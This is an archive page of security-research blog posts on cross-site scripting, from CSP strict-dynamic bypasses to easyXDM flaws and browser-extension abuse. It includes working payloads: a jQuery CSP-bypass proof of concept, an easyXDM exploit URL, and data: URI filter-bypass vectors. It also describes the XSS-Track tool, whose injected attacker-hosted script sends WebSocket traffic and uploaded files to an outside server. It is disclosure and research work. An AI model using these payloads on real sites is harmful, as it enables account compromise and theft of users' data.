Showing posts with label xss. Show all posts
Showing posts with label xss. Show all posts

Tuesday, June 28, 2016

Reflections on trusting CSP

Tldr; new changes in CSP sweep a huge number of the vulns, yet they enable new bypasses. Internet lives on, ignoring CSP.


Let’s talk about CSP today:
Content Security Policy (CSP) - a tool which developers can use to lock down their applications in various ways, mitigating the risk of content injection vulnerabilities such as cross-site scripting, and reducing the privilege with which their applications execute.

Assume XSS, mkay?

CSP is a defense-in-depth web feature that aims to mitigate XSS (for simplicity, let’s ignore other types of vulnerabilities CSP struggles with). Therefore in the discussion we can safely assume there is an XSS flaw in the first place in an application (otherwise, CSP is a no-op).

With this assumption, effective CSP is one that stops the XSS attacks while allowing execution of legitimate JS code. For any complex website, the legitimate code is either:
  • application-specific code, implementing its business logic, or
  • code of its dependencies (frameworks, libraries, 3rd party widgets)
Let’s see how CSP deals with both of them separately.

Just let me run my code!

When CSP was created, the XSS was mostly caused by reflecting user input in the response (reflected XSS). The first attempt at solving this with CSP was then to move every JS snippet from HTML to a separate resource and disable inline script execution (as those are most likely XSS payloads reflected by the vulnerable application). In addition to providing security benefits, it also encouraged refactoring the applications (e.g. transitioning from spaghetti-code to MVC paradigms or separating the behavior from the view; this was hip at that time).

Of course, this put a burden on application developers, as inline styles and scripts were prevalent back then - in the end almost noone used CSP. And so ‘unsafe-inline’ source expression was created. With it, it allowed the developers to use CSP without the security it provides (as now the attacker could again inject code through reflected XSS).

Introducing insecurity into a security feature to ease adoption is an interesting approach, but at least it’s documented:
In either case, developers SHOULD NOT include either 'unsafe-inline', or data: as valid sources in their policies. Both enable XSS attacks by allowing code to be included directly in the document itself; they are best avoided completely.
That’s why this new expression used the unsafe- prefix. If you’re opting out of security benefits, at least you’re aware of it. Later on this was made secure again when nonces were introduced. From then on, script-src 'unsafe-inline' 'nonce-12345' would only allow inline scripts if the nonce attribute had a given value.

Unless the attacker knew the nonce (or the reflection was in the body of a nonced script), their XSS payload would be stopped. Developers then had a way to use inline scripts in a safe fashion. 

But what about my dependencies?

Most of the application dependencies were hosted on CDNs, and had to continue working after CSP was enabled in the application. CSP allowed developers to specify allowed URLs / paths and origins, from which the scripts could be loaded. Anything not on the whitelist would be stopped.

By using the whitelist in CSP you effectively declared that you trusted whatever scripts were there on it. You might not have the control over it (e.g. it’s not sourced from your servers), but you trust it - and it had to be listed explicitly.

Obviously, there were a bunch of bypasses (remember, we assume the XSS flaw is present!) - for one, a lot of CDNs are hosting libraries that execute JS from the page markup, rendering CSP useless as long as certain CDNs are whitelisted. There were also different bypasses related to path & redirections (CSP Oddities presentation summarizes those bypasses in a great way).

In short, it was a mess - also for maintenance. For example, this is a script-src from Gmail:
script-src https://clients4.google.com/insights/consumersurveys/ 'self' 'unsafe-inline' 'unsafe-eval' https://mail.google.com/_/scs/mail-static/ https://hangouts.google.com/ https://talkgadget.google.com/ https://*.talkgadget.google.com/ https://www.googleapis.com/appsmarket/v2/installedApps/ https://www-gm-opensocial.googleusercontent.com/gadgets/js/ https://docs.google.com/static/doclist/client/js/ https://www.google.com/tools/feedback/ https://s.ytimg.com/yts/jsbin/ https://www.youtube.com/iframe_api https://ssl.google-analytics.com/ https://apis.google.com/_/scs/abc-static/ https://apis.google.com/js/ https://clients1.google.com/complete/ https://apis.google.com/_/scs/apps-static/_/js/ https://ssl.gstatic.com/inputtools/js/ https://ssl.gstatic.com/cloudsearch/static/o/js/ https://www.gstatic.com/feedback/js/ https://www.gstatic.com/common_sharing/static/client/js/ https://www.gstatic.com/og/_/js/

Why so many sources? Well, if a certain script from, say https://talkgadget.google.com/ loads a new script, it needs to be whitelisted too.

There are various quirks and bypasses with this type of CSP, but at least it’s explicit. If a feature is unsafe, it’s marked as so, together with the trust I put into all other origins - and that trust is not transitive. Obviously, at the same time it’s very hard to adopt and maintain such a CSP for a given application, especially if your dependencies change their code.

The solution for that problem was recently proposed in the form of strict-dynamic source expression. 

Let's be strict!

What’s strict-dynamic? Let’s look at the CSP spec itself:
The "'strict-dynamic'" source expression aims to make Content Security Policy simpler to deploy for existing applications who have a high degree of confidence in the scripts they load directly, but low confidence in their ability to provide a reasonably secure whitelist. 
If present in a script-src or default-src directive, it has two main effects: 
1. host-source and scheme-source expressions, as well as the "'unsafe-inline'" and "'self' keyword-sources will be ignored when loading script.
2. hash-source and nonce-source expressions will be honored. Script requests which are triggered by non-parser-inserted script elements are allowed.

The first change allows you to deploy "'strict-dynamic' in a backwards compatible way, without requiring user-agent sniffing: the policy 'unsafe-inline' https: 'nonce-abcdefg' 'strict-dynamic' will act like 'unsafe-inline' https: in browsers that support CSP1, https: 'nonce-abcdefg' in browsers that support CSP2, and 'nonce-abcdefg' 'strict-dynamic' in browsers that support CSP3. 
The second allows scripts which are given access to the page via nonces or hashes to bring in their dependencies without adding them explicitly to the page’s policy.
While it might not be obvious from the first read, it introduces a transitive trust concept into the CSP. Strict-dynamic (in supporting browsers) turns off the whitelists completely. Now whenever an already allowed (e.g. because it carried a nonce) code creates a new script element and injects it into the DOM - its execution would not be stopped, regardless of its properties (e.g. the src attribute value or a lack of a nonce). Additionally, it could in turn create additional scripts. It’s like a tooth fairy handed off nonces to every new script element.


As a consequence, now you’re not only trusting your direct dependencies, but also implicitly assume anything they would load at runtime is fair game for your application too. By using it you’re effectively trading control for ease of maintenance.

POC||GTFO

Usefulness of CSP can be determined by its ability to stop the attack assuming there is an XSS flaw in the application. By dropping the whitelists it obviously increases the attack surface, even more so by introducing the transitive trust.

On the other hand, it facilitates adopting a CSP policy that uses nonces. Enabling that, it mitigates a large chunk of reflected XSS flaws, as the injection point would have to be present inside a script element to execute (which is, I think, a rare occurrence). Unfortunately, DOM XSS flaws are much more common nowadays.

For DOM XSS flaws, strict-dynamic CSP would be worse than “legacy” CSP any time a code could be tricked into creating an attacker-controlled script (as old CSP would block it, but the new one would not). Unfortunately, such a flaw is likely present in a large number of applications. For example, here’s an exemplary exploit for applications using JQuery <3.0.0 using this vuln.
<!DOCTYPE html>
<html>
<head>
  <meta charset="utf-8">
  <meta http-equiv="Content-Security-Policy" content="script-src 'unsafe-inline' 
      'nonce-booboo' 'strict-dynamic'"> 
  <script nonce='booboo' src="https://code.jquery.com/jquery-2.2.4.js" ></script>
</head> 
<body>
<script nonce=booboo> 
// Patched in jQuery 3.0.0
// See https://github.com/jquery/jquery/issues/2432
// https://www.w3.org/TR/CSP3/#strict-dynamic-usage 
$(function() { 
   // URL control in $.get / $.post is a CSP bypass 
   // for CSP policies using strict-dynamic. 
   $.get('data:text/javascript,"use strict"%0d%0aalert(document.domain)');
});
</script>
</body>
</html>

Try it out (requires Chrome 52): https://plnkr.co/edit/x9d0ClcWOrl3tUd33oZR?p=preview

JQuery has a market share of over 96%, so it’s not hard to imagine a large number of applications using $.get / $.post with controlled URLs. For those, strict-dynamic policies are trivially bypassable.

Summary

It was already demonstrated we can’t effectively understand and control what’s available in the CDNs we trust in our CSPs (so we can’t even maintain the whitelists we trust). How come losing control and making the trust transitive is a solution here?

At the very least, these tradeoffs should be expressed by using an unsafe- prefix. In fact, it used to be called unsafe-dynamic, but that was dropped recently. So now we have a strict-* expression that likely enabled bypasses that were not present with oldschool CSP. All that to ease adoption of a security mitigation. Sigh :/

Saturday, March 22, 2014

When you don't have 0days. Client-side exploitation for the masses

Yesterday me and @antisnatchor gave a talk at Insomni'hack entitled "When you don't have 0days. Client-side exploitation for the masses". We described different tricks that one can use during a pentesting assignment to achieve goals without burning any of those precious 0days.

The tricks included the new Chrome extension exploitation tools ported recently to BeEF (by yours truly and @antisnatchor), HTA (HTML applications), Office macros, abusing UI expectations in IE, and some tricks with Java applets running on older Java. Mosquito was also demonstrated. Without further ado, here are the slides:


When you don't have 0days: client-side exploitation for the masses from Michele Orru

All the video links for the demos are on the slides, the code is public and landed in BeEF in tools/ subdirectory. The gist of the Chrome extensions part: you can now clone an arbitrary Chrome extension, add any code to it, and publish it back as your extension by doing:

$ cd beef/tools/chrome_extension_exploitation/
$ injector/repacker-webstore.sh <original-ext-id> zip 
repacked.zip evil.js “evil-permissions”
$ ruby webstore_uploader/webstore_upload.rb repacked.zip publish

Enjoy!

Monday, January 13, 2014

XSSing with Shakespeare: Name-calling easyXDM

tl;dr: window.name, DOM XSS & abusing Objects used as containers

What's in a name?

"What's in a name? That which we call a rose
By any other name would smell as sweet"
(Romeo & Juliet, Act II, Scene 2)

While Juliet probably was a pretty smart girl, this time she got it wrong. There is something special in a name. At least in window.name. For example, it can ignore Same Origin Policy restrictions. Documents from https://example.com and https://foo.bar are isolated from each other, but they can "speak" through window.name.

Since name is special for Same Origin Policy, it must have some evil usage, right? Right - the cutest one is that eval(name)is the shortest XSS payload loader so far:
  • create a window/frame
  • put the payload in it's name
  • just load http://vuln/?xss="><script>eval(name)</script>.
But that's old news (I think it was Gareth's trick, correct me if I'm wrong). This time I'll focus on exploiting software that uses window.name for legitimate purposes. A fun practical challenge (found by accident, srsly)!

Friday, December 27, 2013

Rapportive XSSes Gmail or have yourself a merry little botnet...

tldr: Learn how to code audit Handlebars applications. Xss in extension = fun times. Mosquito gets new features.

It's that magical time of the year, when wonders happen... Everyone's getting big presents. I was apparently naughty, cause I only got one XSS. What can one do? If life gives you lemons...


you make a lemonade. And I don't mean Google juice - it does not qualify.

But XSS on Gmail?!

You see, the code executing on mail.google.com domain is not always the one belonging to Google, subject to their bug bounty. Unfortunately, there's much, much code coming from all other domains too, that does not come close to Google quality. I'm of course talking about browser extensions. I've been researching this subject for two years now, with quite a few results, and if I had to sum it all up in one sentence it would be:

Browser extensions are badly coded, can affect your website with their vulnerabilities and there's nothing you can do about it.

And this is exactly the case here: We have a top-notch Gmail application and a very popular extension that reduces Gmail to a lousy PHPBB-like forum full of XSSes. But this time, I decided to push the matter forward and demonstrate what's possible when one can execute JS in Gmail origin. But first, let me introduce you to our today's hero, Rapportive.

Tuesday, October 15, 2013

Exploiting EasyXDM part 2: & considered harmful


tldr: URL parsing is hard, always encode stuff and Safari has some interesting properties...

This is a second post describing easyXDM vulnerabilities. Reading the first part might come in handy:

Intro

"EasyXDM is a Javascript library that enables you as a developer to easily work around the limitation set in place by the Same Origin Policy, in turn making it easy to communicate and expose javascript API’s across domain boundaries". Vulnerabilities were found in 2.4.16 version, and are patched in 2.4.18. They are tracked with a single CVE-2013-5212.

In first post I've described XSS vulnerability in Flash transport used by that library, however the exploit conditions were very limiting. On websites using easyXDM the following code (used e.g. to set up RPC endpoints):
<script type="text/javascript" src="easyXDM.debug.js">
</script>
<script type="text/javascript">
    var transport = new easyXDM.Socket({
        local: ".",
        swf: "easyxdm.swf",
    });
</script>
can cause XSS when it's loaded by URL like: http://example.com?#xdm_e=https%3A%2F%2Flossssscalhost&xdm_c=default7059&xdm_p=6&xdm_s=j%5C%22-alerssst(2)))%7Dcatch(e)%7Balert(document.domain)%7D%2F%2Feheheh. That will force easyXDM to use vulnerable Flash transport and pass the injected XSS payload. However, the payload will only be used unless Flash file is set up with FlashVars parameter log=true.

Mom, where do flashvars come from?

Let's dig deeper. How is the HTML for the SWF inclusion constructed? Looking at the source code at GitHub (FlashTransport.js):
function addSwf(domain){
...
  // create the object/embed
  var flashVars = "callback=flash_loaded" + domain.replace(/[\-.]/g, "_") + "&proto=" + 
      global.location.protocol + "&domain=" + getDomainName(global.location.href) + "&port=" +   
      getPort(global.location.href) + "&ns=" + namespace;
  // #ifdef debug
  flashVars += "&log=true";
  // #endif
  ..
  swfContainer.innerHTML = ... + "<param name='flashvars' value='" +
  flashVars +
  "'></param>" ....
This 'debug' flag is a preprocessor instruction. The #ifdef / #endif block of code will only be included in easyXDM.debug.js file:
<!-- Process pre proccesing instructions like #if/#endif etc -->
<preprocess infile="work/easyXDM.combined.js" outfile="work/easyXDM.js"/>
<preprocess infile="work/easyXDM.combined.js" outfile="work/easyXDM.debug.js" defines="debug"/>
Exploiting easyXDM.debug.js file described in the first post was straightforward. But if production version of easyXDM library is used instead, there is no log parameter and XSS won't work. What can we do? Like always - look at the code, because code=vulns.

Thou shalt not parse URLs thyself!

In FlashVars construction code getPort and getDomainName functions are used to extract domain and port parameters from current window location (global.location). Let's see what happens with domain name (Core.js):
function getDomainName(url){
    // #ifdef debug
    if (!url) {
        throw new Error("url is undefined or empty");
    }
    // #endif
    return url.match(reURI)[3];
}
It is being matched against the following regular expression:
var reURI = /^((http.?:)\/\/([^:\/\s]+)(:\d+)*)/; // returns groups for protocol (2), domain (3) and port (4)
In simpler terms - everything after httpX:// and before :digits or a / becomes a domain name. Seems solid, right? WRONG.
Among many tricks bypassing URL parsers (see e.g. kotowicz.net/absolute), HTTP authentication parameters are rarely used. But this time they fit perfectly. You see, hostname (domain name) is not the only thing that comes right after protocol. Not to bore you with RFCs, this is also a valid URL:

http://user:password@host/

If our document was loaded from URL containing user credentials, getDomainName() would return user:password@host (sometimes, there are browser differences here). FlashVars, in that case, would be: 
callback=flash_loaded_something&proto=http:&domain=user:password@host&port=&ns=something
Still, nothing interesting, but...

Honor thy Encoding and thy Context

(c) Wumo - http://kindofnormal.com/wumo/2013/10/12
In previous example we injected some characters into FlashVars string, but none of them were dangerous in that context. But as you can see:
  var flashVars = "callback=flash_loaded" + domain.replace(/[\-.]/g, "_") + "&proto=" + global.location.protocol + "&domain=" + getDomainName(global.location.href) + "&port=" + getPort(global.location.href) + "&ns=" + namespace;
Values of various parameters are not percent encoded (i.e. encodeURIComponent is not used) If we could only use & and = characters in username part, we could inject additional Flashvars. For example, loading this URL:

http://example.com&log=true&a=@example.com?#xdm_e=https%3A%2F%2Flossssscalhost&xdm_c=default7059&xdm_p=6&xdm_s=j%5C%22-alerssst(2)))%7Dcatch(e)%7Balert(document.domain)%7D%2F%2Feheheh

(the bold part is actually the username, not a domain name) would cause:
...proto=http:&domain=example.com&log=true&a=@example.com&port=...
injecting our log=true parameter and triggering the exploit. But can we?

Effin phishers!

Kinda. Credentials in URL were used extensively in phishing attacks, so most current browsers don't really like them. While usually you can use = and & characters in credentials, there are serious obstacles, f.e:
  • Firefox won't return credentials at all in location.href
  • Chrome will percent encode crucial characters, including = and &
However, Safari 6 does not see a problem with loading URL like this: http://h=&ello@localhost/ and returning the same thing in location.href. So - easyXDM 2.4.16 is XSS exploitable in Safari 6 and possibly in some other obscure or ancient browsers. In Safari due to effing phishers using credentials in URL will trigger a phishing warning, so the user must confirm the navigation. Well, Sad Panda^2. But still - it's an easyXDM universal XSS on a popular browser with limited user interaction.

Developers

  • Always use context aware encoding!
  • Don't parse URLs manually!

Monday, September 23, 2013

Exploiting EasyXDM part 1: Not the usual Flash XSS

tldr: You're using easyXDM? Upgrade NOW. Otherwise - read up on exploiting difficult Flash vulnerabilities in practice.

Secure cross-domain communication is hard enough, but it's a piece of cake compared to making it work in legacy browsers. One popular library that tries to handle all the quirks and even builds an RPC framework is easyXDM.

But this is not an advertisement. As usual, you only get to hear about easyXDM here, because I found some interesting vulnerabilities. Combined, those allow me to XSS websites using that library. Certain conditions apply. As exploiting the subject matter is quite complex, I decided to split the post into two parts, this being the first one.

Thursday, July 19, 2012

CodeIgniter <= 2.1.1 xss_clean() Cross Site Scripting filter bypass

This is a security advisory for popular PHP framework - CodeIgniter. I've found several bypasses in xss sanitization functions in the framework. These were responsibly disclosed to the vendor and are now fixed in version 2.1.2. (CVE-2012-1915).

Friday, April 6, 2012

Fun with data: URLs

Data URLs, especially in their base64 encoding can often be used for anti XSS filter bypasses. This gets even more important in Firefox and Opera, where newly opened documents retain access to opening page. So attacker can trigger XSS with only this semi-innocent-link:
<a target=_blank href="data:text/html,<script>alert(opener.document.body.innerHTML)</script>">clickme in Opera/FF</a>
or even use the base64 encoding of the URL:
data:text/html;base64,PHNjcmlwdD5hbGVydChvcGVuZXIuZG9jdW1lbnQuYm9keS5pbm5lckhUTUwrMTApPC9zY3JpcHQ+
Chrome will block the access to originating page, so that attacker has limited options:

But what if particular XSS filter knows about data: URIs and tries to reject them? We bypass, of course :) I've been fuzzing data: URIs syntax recently and I just thought you might find below examples interesting:
data:text/html;base64wakemeupbeforeyougogo,[content] // FF, Safari
data:text/html:;base64,[content]
data:text/html:[plenty-of-whitespace];base64,[content]
data:text/html;base64,,[content] // Opera


Here are full fuzz results for vector:
data:text,html;<before>base64<after>,[base64content]

BrowserBefore (ASCII)After (ASCII)
Firefox 11 9,10,13,59 anything
Safari 5.1 9,10,13,59 anything
Chrome 18 9,10,13,32,59 9,10,13,32,59
Opera 11.6 9,10,13,32,59 9,10,13,32,44,59

Not a ground-breaking result, but it may come in handy one day for you, like it did for me.

Tuesday, February 21, 2012

Chrome addons hacking: want XSS on google.com?

For a few days now I'm checking various Chrome extensions code looking for vulnerabilities (see also the first post of the series). There are many. Most of them due to lazy programming (ignoring even the Google docs on the subject), some are more subtle, coming from poor design decisions.

As for the risk impact though, there are catastrophic vulnerabilities. This is just a sample of what code is committed to Chrome Web Store and can be downloaded as a Google Chrome extension.

How would you like an XSS on google.com?

Chrome extensions can alter the contents of a webpage you're navigating (if they have the permission for the URL). In web security, what is the worst thing you might do when altering HTML document on-the-fly? Of course, XSS. Even if the page itself is totally safe from XSS, an addon might introduce it (it's similar to just entering javascript:code()in address bar) and the page cannot possibly defend from it (more or less).

Google documentation about Chrome extensions warns about this exact threat. But, as it turns out, seeing is believing, so there you go. Let me tell you about some minor extension (196 users as of now, which is the only reason why I'm 0daying now) that allowed me to XSS Google.

Friday, February 17, 2012

Intro to Chrome addons hacking: fingerprinting

tldr; Webpages can sometimes interact with Chrome addons and that might be dangerous, more on that later. Meanwhile, a warmup - trick to detect addons you have installed.

Monday, October 31, 2011

Piwik ≤ 1.5.1 multiple XSS vulnerabilities

Some time ago I discovered a few interesting XSS vulnerabilities in Piwik Open Source Web Analytics software. Thanks to developers, all of those are now fixed in Piwik 1.6. But nonetheless, these are not the usual XSS cases, so I found them interesting enough to publish this.

Piwik is a downloadable, open source (GPL licensed) real time web analytics software program. It provides you with detailed reports on your website visitors: the search engines and keywords they used, the language they speak, your popular pages… and so much more.

Piwik aims to be an open source alternative to Google Analytics, and is already used on more than 150,000 websites.

Tuesday, October 11, 2011

The sad state of DOM security (or how we all ruled Mario's challenge)

A few days ago Mario Heiderich posted second installment of his xssme challenges (viewable in Firefox only for now). But it wasn't a usual challenge. The goal was not to execute your Javascript - it was to get access to the DOM object property (document.cookie) without user interaction. In fact, the payload wasn't filtered at all.

My precious!

This goes along Mario's work on locking DOM and XSS eradication attempt. The concept is that server side filtering for XSS will eventually fail if you need to accept HTML. Further on - sometimes Javascript code should be accepted from the client (mashups are everywhere!), instead we want it to run inside a sandbox, limiting access to some crucial properties (location, cookie, window, some tokens, our internal application object etc.). That's basically what Google Caja tries to achieve server-side. But server does not know about all those browser quirks, parsing issues - it's a different environment after all.

So if a total XSS eradication is possible - it has to be client-side, in the browser.
Of course, this requires some support from the browser and the most common weapon is ECMAScript 5 Object.defineProperty() and friends. Basically, it allows you to redefine a property of an object (say, document.cookie) with your own implementation and lock it down so further redefines are not possible.

In theory, it's great. You insert some Javascript code, locking down your precious DOM assets, then you can output unmodified client's code which is already operating in a controlled, sandboxed environment - and you're done. In theory. Read on!

Friday, April 29, 2011

How to upload arbitrary file contents cross-domain

Update: Since publishing details of this technique it has been used to exploit CRSFable file upload forms on Facebook , Flickr, Imgur, minus.comTumblr.com and others. It seems that many file upload forms lack anti CSRF tokens. 

HTML5, together with its sister specifications (XMLHTTPRequest level 2, File API etc.) has a really interesting property when it comes to security. Websites that are coded securely get new tools allowing them to be even more secure. Yet poorly coded websites might be prone to new flavours of attack. It makes good even better, and bad even worse.

The best example of this would be the Cross Origin Resource Sharing (CORS) specification commonly known as Cross Domain AJAX. Back in the days, AJAX request could not be sent cross domain - now, in all current browsers, they can. Does it affect security? Sure it does - even Facebook got hacked with it. While the specification was designed with security in mind, fully opt-in, introducing new headers and preflight mode, there are sites in the Internet that suddenly got vulnerable once surfers upgraded their browsers.

Continuing the fun with file upload issues in current browers, today I'd like to show you how to upload a file:
  1. from victim's browser
  2. with arbitrary filename
  3. with arbitrary content
  4. without user interaction
  5. .. to another domain.

Tuesday, March 15, 2011

Exploiting the unexploitable XSS with clickjacking

The technique is listed as a contestant in Top 10 Web Hacking Techniques of 2011 poll.


Clickjacking needs some loving. Contrary to what is being thought, it's not only used for Facebook viral scams. As shown by last year's Paul Stone's studies, now it's not only just hide-the-button-and-follow-the-mouse trick. It even got the more accurate name of UI Redressing (which is right, as attackers are not after your clicks, they profit from playing with the UI of the victim application). In this post we'll play a game to see how advanced UI-Redressing attacks look like and how an attacker may trigger an unexploitable XSS flaw in an application.

Monday, January 10, 2011

XSS-Track as a HTML5 WebSockets traffic sniffer

HTML5 WebSockets are really a great feature for current web development. They allow you to set up a bi-directional TCP connection between a browser and a server. Sure, the protocol is being constantly updated, has it's own issues, which will probably mean it won't be ready for Firefox 4. But still, I think it's great way to make the current web applications more responsive.

That being said, developers must know that using WebSockets will always have some security issues. Just to name the few:
  • the client can be spoofed (it doesn't have to be the browser)
  • ws:// server can't be trusted (MiTM attacks)
  • you need to handle the authentication
  • the communication over ws:// protocol is plaintext. 

What could get wrong?

There are many possibilities, but for today let's focus on this:

It's important to know that WebSockets (without any additional precautions) is not a channel to send restricted messages through, because e.g. a single XSS flaw on client side could reveal all those private bits to the attacker.

To demonstrate, XSS-Track now supports stealing WebSockets sent and received messages. All you need to do is inject a http://kotowicz.net/xss-track/track.js?websocket=1 script into a vulnerable site and all mesages will be reported to your backend. 

You could also make it http://kotowicz.net/xss-track/track.js?websocket=1&debug=1 so that the messages will be logged to console instead of sent to backend.

Demo

To be able to test WebSockets injection, you need to have WebSockets support :) Use Google Chrome as your WebSockets client and navigate to http://vuln.nodester.com - it's a simple vulnerable chat application using WebSockets with all the instructions. You can also set the server up for yourself.

How was that possible?

No rocket science here, just modifying WebSockets built-in object:
if (captureWebsocket && window.WebSocket) {

  // add logging onmessage listener
  function captureRecv(ws) {
    if (typeof ws.captured == 'undefined') {
      ws.addEventListener('message', function(e) {
        var event = {
            event: 'websocket_recv',
            from: location,
            data: e.data,
            url: e.target.URL
        }
        log(event);
      });
      ws.captured = true;
    }
  }

  // capture sending
  var captureSend = this.contentWindow.WebSocket.prototype.send = function() {
    captureRecv(this); // in case socket contruction was before constructor switching
    var event = {
        event: 'websocket_send',
        from: location,
        data: arguments[0],
        url: this.URL
    };

    log(event);
    return window.WebSocket.prototype.send.apply(this, arguments);
  }

  // capture constructor
  this.contentWindow.WebSocket = function(a,b) {
    var base;
    base = (typeof b !== "undefined") ? new WebSocket(a,b) : new WebSocket(a);
    captureRecv(base);
    base.send = captureSend;
    this.__proto__ = WebSocket.constructor;
    return base;
  }
}

As always, you can see the source code yourself.

Update: I've just found out this technique of manipulating prototype object to change behavior actually got a name of 'Prototype Hijacking' and was used by Stefano di Paola in 2007 to hijack plain old AJAX communication. Of course, Javascript using it's prototypal inheritance needs to have this kind of 'weakness' and I consider this a brilliant feature of the language itself. Javascript FTW!

Thursday, December 2, 2010

XSS-Track now steals your uploaded files with HTML5 power!

HTML5, broadly speaking (actually it's XMLHttpRequest Level 2, not being part of HTML5 spec, but who cares?) has yet another neat feature: it allows you to send files through AJAX requests. Of course, cross domain communication is also possible. Which is generally a good thing... unless you have an XSS on your site that can now capture files you intend to upload and send them also to a third-party server.

Which is exactly what I have done in newest XSS-Track. Now you can append files=1 parameter to script URL (e.g. http://evil.example.com/track.js?files=1 ) and it will monitor the site for any <input type="file" /> elements. When you change() them (e.g. by choosing a file from your hard-drive), it will quietly start uploading the chosen file meta-data (name, size, MIME type) and file contents to log.php.

As the user will be doing twice as much uploads (one for legitimate site, one for us), XSS-Track does not wait for the form to be actually submitted, but it starts quietly uploading as soon as the field changes.

Support

This works also for <input type="file" multiple />. Currently supporting browsers that I'm aware of are:
  • Chrome,
  • FF 3.6 (meta-data only)
  • FF 4.0
  • ... and many more in the future as HTML5 is coming :)
Of course, if a browser doesn't support AJAX file upload, it will stay quiet. The log.php script will store the files in captured_files subdirectory.

Demo

Go on, try it now!

Vulnerable application:
http://victim.kotowicz.net/xss-track/vuln/?page=search

Payload (paste into textarea):
</textarea><script src="//attacker.kotowicz.net/xss-track/track.js?files=1">
</script>

Monitoring (you will only see your own IP actions):
http://attacker.kotowicz.net/xss-track/show.php

Clearing logs:
http://attacker.kotowicz.net/xss-track/show.php?clear=1

Source code:
https://github.com/koto/blog-kotowicz-net-examples/tree/master/track-xss/

Monday, November 22, 2010

XSS track got ninja stealth skills thanks to HTML5

XSS-Track, a point of concept project on how to track users through XSS vulnerability today got even better: now it can change URL in browser address bar as you navigate through the site, making it even more transparent for the victim.

It is possible thanks to a HTML5 feature - window.history.pushState(). It was created for AJAX websites so that they could easily change window location bar and manipulate history. Read more about the it on WHATWG site.

It's a great and convenient feature for developers - for example, AJAX apps can now easily support back & forward buttons without resorting to URI fragment identifier (#) hacks. But it can also be used for malicious purposes. Basically, in HTML5 you can no longer trust the location bar. For security reasons, specs say you can only change a path (i.e. not hostname, port etc.) and of course it is subject to same-origin restrictions but that is enough for XSS-Track. So now we have these convenient functions in XSS-track source code:

var getPath = function(url) {
  return url.match(/(\/.*)/)[1];
};

var changeAddressBar = function(url) {
  try {
    // html5 goodness - should work in Safari, Chrome, FF 4
    window.history.pushState({}, "", getPath(url));
  } catch(e) {}
};

and navigating a link within vulnerable domain will update the address bar path accordingly, making XSS-track practically invisible (unless you click an external link).

Disclaimer:
window.history.pushState() works in Chrome 5, Safari 5 and Firefox 4 and more browsers will come in future. When it's not available, XSS-Track will just leave the URL of a vulnerable page, so we're forward compatible. Try and hack the demo site to see the effects in one of those browsers to see it in action. HTML5 FTW!

Saturday, November 6, 2010

XSS-Track: How to quietly track a whole website through single XSS

XSS is #1 threat in web application security. We all know it's pretty common, from time to time we encounter a website where a single input field is vulnerable. Happily we send out alert(document.cookie) only to find out that session cookie is httpOnly (it's a good sign!). On the other side we know that XSS gives us, white hats, an almost unlimited potential on how to alter the vulnerable page. We can:
  • deface it,
  • steal user's form values
  • redirect to form a phishing attack
  • look at cookies
  • try to send malware through a drive-by download attack
  • and many more...
However, what to do if we found a vulnerability on one page, and all the interesting things are on the other page on the same domain? Say, the vulnerability is on http://vulnerable.example.com/search and we'd really like to steal user's credentials from http://vulnerable.example.com/login-form? Of course, with JS it's possible, but usually it's a difficult manual process to construct such payload. Today I'll present a way that makes it dead easy to:
  • track user's actions on a vulnerable website (clicks, form submits),
  • track outside links,
  • monitor pages content and report any interesting HTML elements (e.g. the secret credentials)
All of this is possible with a single injected script - think XSS-injected Google Analytics! With just one XSS vulnerability on any page an attacker gets information about all browsing actions of unsuspecting user. Demo inside!

Monday, October 25, 2010

XSS hackme challenge solution (part 2)

After revealing the first part of the solution for the XSS hackme challenge we'll discuss the second, last part. This time we'll talk about a IE-only vulnerability that allowed you to inject and run arbitrary Javascript code (XSS), but to properly exploit it we'll need:
  • a local web server (we'll need to host some pages)
  • Internet Explorer browser (6,7,8 will do)
SPOILERS ahead!

Friday, October 15, 2010

XSS hackme challenge solution (part 1)

Time to reveal the first solution for the XSS hackme. To recap - there was a webpage with a simple form where you could enter comments then displayed back to you. The challenge was to inject and run an arbitrary Javascript code. The hard part was that everything you entered was properly escaped, so for example:

<script>alert(/xss/)</script>

became perfectly safe

&lt;script&gt;alert(/xss/)&lt;/script&gt;

which was not interpreted as Javascript by the browser.

But still, the code had two vulnerabilities - one allowed for an XSS in Firefox browsers, the other - in Internet Explorer (6,7,8). Today we'll talk about the Firefox one (SPOILERS AHEAD!)